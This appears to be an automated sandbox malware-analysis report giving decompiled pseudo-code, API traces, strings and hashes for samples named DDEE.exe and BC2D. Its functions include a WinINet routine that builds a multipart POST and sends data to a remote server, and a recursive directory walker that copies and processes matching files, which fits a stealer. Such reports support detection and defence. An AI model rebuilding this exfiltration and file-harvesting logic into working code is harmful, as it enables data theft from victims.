String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000014.00000002.810020170.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_BC2D.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000014.00000002.810020170.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_BC2D.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Function 004027ED, Relevance: 1.5, APIs: 1, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004027ED(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t9;
				long _t12;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t23;
				UNICODE_STRING* _t24;
				intOrPtr* _t25;
				intOrPtr* _t26;

				_t9 = 0x2824;
				_t18 =  *_t25;
				_t26 = _t25 + 4;
				E004012AB(_t9, _t16, _t18, _t20, _t21, _t23, __eflags);
				_t17 = _a4;
				_t24 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t24, _a8, 0x53);
				_t22 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t24,  &_v8);
				_t29 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_push(0x53);
				_t19 =  *_t26;
				E004012AB(0x2824, _t17, _t19, _t20, _t22, _t24, _t29);
				return _v8;
			}

0x00402800
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000014.00000001.794933403.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_1_400000_BC2D.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction ID: 86d1809ebd5855410281f38b9c9c6c09a144d2210cd9b7f1e60e22e0793f0f49
Opcode Fuzzy Hash: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction Fuzzy Hash: CD01D43BA08105E7D6007A818A4DF6A7724EB50744F20C137A6077A1C0C5FC9A07E7BB

Uniqueness

Uniqueness Score: -1.00%

Function 0040280A, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040280A(intOrPtr __ebx, HMODULE* __edi, UNICODE_STRING* __esi, void* __eflags) {
				void* __ebp;
				void* _t12;
				long _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				UNICODE_STRING* _t23;
				void* _t25;
				intOrPtr* _t26;

				_t29 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				_t16 = __ebx;
				if(__eflags < 0) {
					if(__eflags >= 0) {
						__ecx = __ecx + 1;
						__eflags = __bl;
						_t12 = 0x2824;
					} else {
					}
					_t19 =  *_t26;
					_t26 = _t26 + 4;
					E004012AB(_t12, _t16, _t19, _t20, _t21, _t23, _t29);
					_t16 =  *((intOrPtr*)(_t25 + 8));
					_t23 = _t25 - 0xc;
					 *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + 0xc))(_t23,  *((intOrPtr*)(_t25 + 0xc)), 0x53);
					_t21 = _t25 - 4;
					_t15 = LdrLoadDll(0, 0, _t23, _t25 - 4);
					_t30 = _t15;
					if(_t15 != 0) {
						 *(_t25 - 4) = 0;
					}
				}
				_push(0x53);
				_t18 =  *_t26;
				E004012AB(0x2824, _t16, _t18, _t20, _t21, _t23, _t30);
				return  *(_t25 - 4);
			}

0x0040280a
0x0040280a
0x0040280a
0x0040280a
0x0040280b
0x0040280d
0x00402803
0x00402804
0x00402800
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402848
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000014.00000001.794933403.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_1_400000_BC2D.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction ID: 9ca859c839910d9830ac79efeaa13c409ccf86f2f3a4ee59ee812277144ea7f3
Opcode Fuzzy Hash: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction Fuzzy Hash: B901843BA04105E7DA00BA819A4DBAE7764AB50704F10C57BE6077A1C5C6FC9607A76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281A, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040281A(void* __eax, void* __ebx, void* __edi, void* __esi) {
				long _t12;
				intOrPtr _t19;
				intOrPtr _t20;
				void* _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				void* _t34;

				_t34 = __eax - 0x90;
				_t19 =  *_t30;
				_t31 = _t30 + 4;
				E004012AB(__eax, __ebx, _t19, _t21, __edi, __esi, _t34);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), 0x53);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t35 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t31;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t35);
				return  *(_t28 - 4);
			}

0x0040281a
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000014.00000001.794933403.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_1_400000_BC2D.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction ID: 04be1964ae6a2c4a8d34668d02d656748d1177ed5934df91e255a91300bf99b4
Opcode Fuzzy Hash: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction Fuzzy Hash: 58F0A43AA04105D7DB00BA81CA49B9D7720AB51704F10C57BE6067A1C4C6B99707E76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281E, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040281E(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				void* __edi;
				void* _t9;
				long _t12;
				intOrPtr _t20;
				void* _t21;
				void* _t22;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				E004012AB(_t9, __ebx, __ecx, _t21, _t22, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t22);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t30;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t34);
				return  *(_t28 - 4);
			}

0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000014.00000001.794933403.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_1_400000_BC2D.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction ID: 3fd11184bcf92e870777245e351188805b8424fcd9c3dcde69815370b47807fd
Opcode Fuzzy Hash: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction Fuzzy Hash: 9DF0303AA04105E7DB00BA91CA89B9E7770EB51714F10C16BE6067A1C4C6B89707E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: DDEE.exe PID: 4284 Parent PID: 3424 DDEE.exeCOMMON

Executed Functions

Function 00404BE0, Relevance: 112.4, APIs: 56, Strings: 8, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 23%

			E00404BE0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, intOrPtr _a16, int _a20, intOrPtr _a24) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				void _v1548;
				int _v1552;
				long _v1556;
				long _v1560;
				char _v6564;
				void* _v6568;
				long _v6572;
				void _v6828;
				DWORD* _v6832;
				DWORD* _v6836;
				void* _v6840;
				intOrPtr _v6844;
				DWORD* _v6848;
				void _v8852;
				int _v8856;
				long _v8860;
				void* _t120;
				void* _t132;
				intOrPtr _t154;
				intOrPtr _t169;
				intOrPtr _t172;
				void* _t176;
				void* _t179;
				DWORD* _t204;
				char* _t207;
				char* _t219;
				intOrPtr _t221;
				intOrPtr _t225;
				char* _t239;
				intOrPtr _t248;
				char* _t251;
				void* _t275;
				void* _t276;

				_t211 = __ecx;
				E004139B0(0x2298, __ecx);
				E0040B6E0(_t211,  &_v6564, 0, 0x1388);
				E0040B720( &_v516, 0x1f4);
				E0040B720( &_v1548, 0x200);
				_t120 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000); // executed
				_v1552 = _t120;
				E0040B720( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				_t213 =  &_v8;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_v6572 = 0x100;
				_v1556 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v1556 = 1;
				}
				_t280 = _v520;
				if(_v520 != 0) {
					_t132 = E0040B8B0(_t213, _t280, 0x10);
					_t276 = _t276 + 4;
					 *0x41aa24( &_v516, _t132);
					 *0x41aa24(_v1552, "\r\n");
					 *0x41aa24(_v1552, "------");
					 *0x41aa24(_v1552,  &_v516);
					 *0x41aa24(_v1552, "--");
					 *0x41aa24(_v1552, "\r\n");
					_t248 =  *0x41a1bc; // 0x657040
					 *0x41aa24( &_v1028, _t248);
					 *0x41aa24( &_v1028,  &_v516);
					if(_v1556 == 0) {
						_v6568 = InternetConnectA(_v520, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v6568 = InternetConnectA(_v520, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v6568 != 0) {
						if(_v1556 == 0) {
							_t251 =  *0x41a2d8; // 0x6781e8
							_t219 =  *0x41a590; // 0x6757c8
							_v1032 = HttpOpenRequestA(_v6568, _t219, _a12, _t251, 0, 0, 0x400100, 0);
						} else {
							_t239 =  *0x41a2d8; // 0x6781e8
							_t207 =  *0x41a590; // 0x6757c8
							_v1032 = HttpOpenRequestA(_v6568, _t207, _a12, _t239, 0, 0, 0xc00100, 0);
						}
						if(_v1032 != 0) {
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t221 =  *0x41a2cc; // 0x675520
							 *0x41aa24( &_v1548, _t221);
							_t154 =  *0x41a058; // 0x6756d8
							 *0x41aa24( &_v1548, _t154);
							 *0x41aa24( &_v1548, "\"\r\n\r\n");
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\r\n");
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t225 =  *0x41a644; // 0x657080
							 *0x41aa24( &_v1548, _t225);
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\"\r\n");
							_t169 =  *0x41a038; // 0x675490
							 *0x41aa24( &_v1548, _t169);
							 *0x41aa24( &_v1548, "\r\n");
							_t172 =  *0x41a538; // 0x6753a0
							 *0x41aa24( &_v1548, _t172);
							 *0x41aa24( &_v1548, "\r\n\r\n");
							_t176 =  *0x41a908( &_v1548);
							_v1560 = _t176 + _a24 +  *0x41a908(_v1552);
							_t179 = RtlAllocateHeap(GetProcessHeap(), 0, _v1560); // executed
							_v6840 = _t179;
							memcpy(_v6840,  &_v1548,  *0x41a908( &_v1548));
							memcpy(_v6840 +  *0x41a908(_a24),  &_v1548, _a20);
							memcpy( *0x41a908( *0x41a908(_v1552)) + _a24 + _v6840,  &_v1548, _v1552);
							_v6848 = 0;
							while(_v6848 < 6) {
								HttpSendRequestA(_v1032,  &_v1028,  *0x41a908(_v1560),  &_v1028, _v6840);
								if(HttpQueryInfoA(_v1032, 0x13,  &_v6828,  &_v6572, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t204 =  &(_v6848[0]);
									__eflags = _t204;
									_v6848 = _t204;
									continue;
								} else {
									_push("200");
									_push( &_v6828);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
									}
								}
								break;
							}
							E0040B720( &_v6840, 4);
							_v6836 = 0;
							_v6832 = 0;
							_v6844 = 0x4000;
							while(1) {
								_v8856 = InternetReadFile(_v1032,  &_v8852, 0x7cf,  &_v8860);
								if(_v8856 == 0) {
									break;
								}
								_t289 = _v8860;
								if(_v8860 != 0) {
									 *((char*)(_t275 + _v8860 - 0x2290)) = 0;
									 *0x41aa24( &_v6564,  &_v8852);
									continue;
								}
								break;
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6568);
				InternetCloseHandle(_v520);
				return E00404830(_v520, _t289,  &_v6564);
			}

0x00404be0
0x00404be8
0x00404bfc
0x00404c0d
0x00404c1e
0x00404c31
0x00404c37
0x00404c49
0x00404c5e
0x00404c64
0x00404c6d
0x00404c7a
0x00404c80
0x00404c8a
0x00404c94
0x00404c9c
0x00404ca5
0x00404ca7
0x00404ca7
0x00404cb1
0x00404cb8
0x00404cc0
0x00404cc5
0x00404cd0
0x00404ce2
0x00404cf4
0x00404d08
0x00404d1a
0x00404d2c
0x00404d32
0x00404d40
0x00404d54
0x00404d61
0x00404da8
0x00404d63
0x00404d83
0x00404d83
0x00404db5
0x00404dc2
0x00404e00
0x00404e0b
0x00404e1f
0x00404dc4
0x00404dcf
0x00404dda
0x00404ded
0x00404ded
0x00404e2c
0x00404e3e
0x00404e52
0x00404e64
0x00404e6a
0x00404e78
0x00404e7e
0x00404e8b
0x00404e9d
0x00404eae
0x00404ec0
0x00404ed2
0x00404ee6
0x00404ef8
0x00404efe
0x00404f0c
0x00404f1d
0x00404f2f
0x00404f35
0x00404f42
0x00404f54
0x00404f5a
0x00404f67
0x00404f79
0x00404f86
0x00404fa0
0x00404fb6
0x00404fbc
0x00404fde
0x00405000
0x00405032
0x00405038
0x00405053
0x00405086
0x004050ad
0x004050c7
0x004050cc
0x0040504a
0x0040504a
0x0040504d
0x00000000
0x004050af
0x004050af
0x004050ba
0x004050c3
0x00000000
0x00000000
0x004050c5
0x004050c3
0x00000000
0x004050ad
0x004050e0
0x004050e5
0x004050ef
0x004050f9
0x00405103
0x00405123
0x00405130
0x00000000
0x00000000
0x00405132
0x00405139
0x00405143
0x00405159
0x00000000
0x00405159
0x00000000
0x00405139
0x0040513b
0x00404e2c
0x00404db5
0x00405168
0x00405175
0x00405182
0x0040519b

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406843,006720F0,00674FE0,00676248,?), ref: 00404C2A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C31
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404C58
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404C7A
StrCmpCA.SHLWAPI(?,https://), ref: 00404C9D
lstrcat.KERNEL32(?,00000000), ref: 00404CD0
lstrcat.KERNEL32(?,00418B9C), ref: 00404CE2
lstrcat.KERNEL32(?,------), ref: 00404CF4
lstrcat.KERNEL32(?,?), ref: 00404D08
lstrcat.KERNEL32(?,00418BA8), ref: 00404D1A
lstrcat.KERNEL32(?,00418B9C), ref: 00404D2C
lstrcat.KERNEL32(?,00657040), ref: 00404D40
lstrcat.KERNEL32(?,?), ref: 00404D54
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404D7D
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404DA2
HttpOpenRequestA.WININET(00000000,006757C8,?,006781E8,00000000,00000000,00C00100,00000000), ref: 00404DE7
HttpOpenRequestA.WININET(00000000,006757C8,?,006781E8,00000000,00000000,00400100,00000000), ref: 00404E19
lstrcat.KERNEL32(?,------), ref: 00404E3E
lstrcat.KERNEL32(?,?), ref: 00404E52
lstrcat.KERNEL32(?,00418B9C), ref: 00404E64
lstrcat.KERNEL32(?,00675520), ref: 00404E78
lstrcat.KERNEL32(?,006756D8), ref: 00404E8B
lstrcat.KERNEL32(?,"), ref: 00404E9D
lstrcat.KERNEL32(?,?), ref: 00404EAE
lstrcat.KERNEL32(?,00418B9C), ref: 00404EC0
lstrcat.KERNEL32(?,------), ref: 00404ED2
lstrcat.KERNEL32(?,?), ref: 00404EE6
lstrcat.KERNEL32(?,00418B9C), ref: 00404EF8
lstrcat.KERNEL32(?,00657080), ref: 00404F0C
lstrcat.KERNEL32(?,?), ref: 00404F1D
lstrcat.KERNEL32(?,"), ref: 00404F2F
lstrcat.KERNEL32(?,00675490), ref: 00404F42
lstrcat.KERNEL32(?,00418B9C), ref: 00404F54
lstrcat.KERNEL32(?,006753A0), ref: 00404F67
lstrcat.KERNEL32(?,), ref: 00404F79
lstrlen.KERNEL32(?), ref: 00404F86
lstrlen.KERNEL32(?), ref: 00404F98
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FAF
RtlAllocateHeap.NTDLL(00000000), ref: 00404FB6
lstrlen.KERNEL32(?), ref: 00404FC9
memcpy.NTDLL(?,?,00000000), ref: 00404FDE
lstrlen.KERNEL32(?,?,?), ref: 00404FF3
memcpy.NTDLL(?), ref: 00405000
lstrlen.KERNEL32(?), ref: 0040500D
lstrlen.KERNEL32(?,?,00000000), ref: 00405022
memcpy.NTDLL(?), ref: 00405032
lstrlen.KERNEL32(?,?,?), ref: 00405071
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00405086
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004050A5
StrCmpCA.SHLWAPI(?,200), ref: 004050BB
Sleep.KERNEL32(00007530), ref: 004050CC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040511D
lstrcat.KERNEL32(?,00000000), ref: 00405159
InternetCloseHandle.WININET(?), ref: 00405168
InternetCloseHandle.WININET(?), ref: 00405175
InternetCloseHandle.WININET(00000000), ref: 00405182

Strings

", xrefs: 00404F23
", xrefs: 00404E91
https://, xrefs: 00404C94
, xrefs: 00404F6D
------, xrefs: 00404CE8, 00404E32, 00404EC6
@pe, xrefs: 00404D32
Ug, xrefs: 00404E6A
200, xrefs: 004050AF

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $ Ug$"$"$------$200$@pe$https://
API String ID: 3074752877-346523195
Opcode ID: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction ID: e23421f7279307ab3a44037bb1bbfee425b9f76c6f481fad167fe3b69a740ec5
Opcode Fuzzy Hash: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction Fuzzy Hash: BDF176B5A51218AFCB20DFA0DD48FDB7779AF48704F0085D9F209A7181CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10, Relevance: 56.3, APIs: 29, Strings: 3, Instructions: 277
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
LoadLibraryA.KERNEL32(00677738), ref: 00406CAA

Strings

HXg, xrefs: 00406EA3, 00406F68
8wg, xrefs: 00406CA4
8Wg, xrefs: 00406DD4

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: LibraryLoadVersion
String ID: 8Wg$8wg$HXg
API String ID: 3209957514-2970402018
Opcode ID: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction ID: 05bfa34741bdcc6f61b31b7f22c3a432e1b570a345a4de00ebc14ecdda937758
Opcode Fuzzy Hash: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction Fuzzy Hash: 6BC182B1612208ABDB54DF90DD88FDA77B9EF4C304F1085A9F205A72D0C774AA91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004087E0, Relevance: 42.3, APIs: 21, Strings: 3, Instructions: 337
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E004087E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				int _t125;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596); // executed
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t273 = _t273 + 0x10;
						_t129 =  *0x41a534; // 0x677c18
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t129, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t200 =  *0x41a050; // 0x678bc0
							__eflags =  *0x41aa4c( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41a5ac; // 0x677ae0
								__eflags =  *0x41aa4c( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41a360; // 0x678b40
									__eflags =  *0x41aa4c( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										 *0x41aa24( &_v1388, 0x414018);
										_t146 = E0040B8B0( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										 *0x41aa24( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1); // executed
										__eflags = _a36;
										if(__eflags != 0) {
											E00408510(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24); // executed
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E00408650(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24); // executed
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388); // executed
										E0040B720( &_v1388, 0x104);
										E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									 *0x41aa24( &_v1124, 0x414018);
									 *0x41aa24( &_v1124, E0040B8B0( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1); // executed
									E004082E0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24); // executed
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00408150(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24); // executed
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124); // executed
									E0040B720( &_v1124, 0x104);
